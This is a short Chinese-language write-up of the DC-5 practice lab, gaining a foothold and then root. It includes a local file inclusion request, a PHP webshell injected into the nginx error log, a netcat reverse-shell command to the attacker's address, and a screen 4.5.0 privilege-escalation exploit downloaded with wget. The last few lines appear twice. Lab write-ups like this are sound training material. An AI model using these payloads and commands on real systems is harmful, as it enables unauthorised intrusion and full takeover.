dc5靶机攻略

dc5

扫描

渗透

在thankyou页中，可以发现日期随着刷新不断变化

刚才目录爆破的时候有个footer页日期同样变化

在thankyou页查看源码，发现标签部分即为footer，猜测此处为执行了什么脚本，可以利用

回到thank页，发现url中类似问号接参数，像文件包含

将问号后参数更改

http://10.4.7.148/thankyou.php?file=/etc/passwd

发现可以执行

nginx的错误配置文件在/var/log/nginx/error.log

在url中写入一句话木马，貌似没有成功，使用bp抓包写入

<?php $var=shell_exec($_GET['cmd']);echo $var?>

然后执行一句话木马

?file=/var/log/nginx/error.log&cmd=nc -e/bin/sh 10.4.7.138 12138

连接成功

提权

find / -perm -4000 2>/dev/null

使用find找一下高权文件

此处发现screen 4.5.0

kali中搜索一下

下载41154.sh到本地

如图该执行文件分为三部分，需要将其单独拿出来编译

编译语句脚本中有写，但是需要改一下文件路径，我就是都放在了root下

因此我的编译语句即为

gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c

随后使用kali开启http服务，将这三个文件传到靶机的/tmp目录下

靶机中使用wget获取

wget http://10.4.7.138:6789/libhax.so
wget http://10.4.7.138:6789/rootshell
wget http://10.4.7.138:6789/use.sh

此处我失败了，然后我全都放到centos7编译一遍，并且修改了一下use.sh

如此保存后退出才行

随后再次重复操作执行，获取root权限

flag仍然是在/root下

如此保存后退出才行

随后再次重复操作执行，获取root权限

flag仍然是在/root下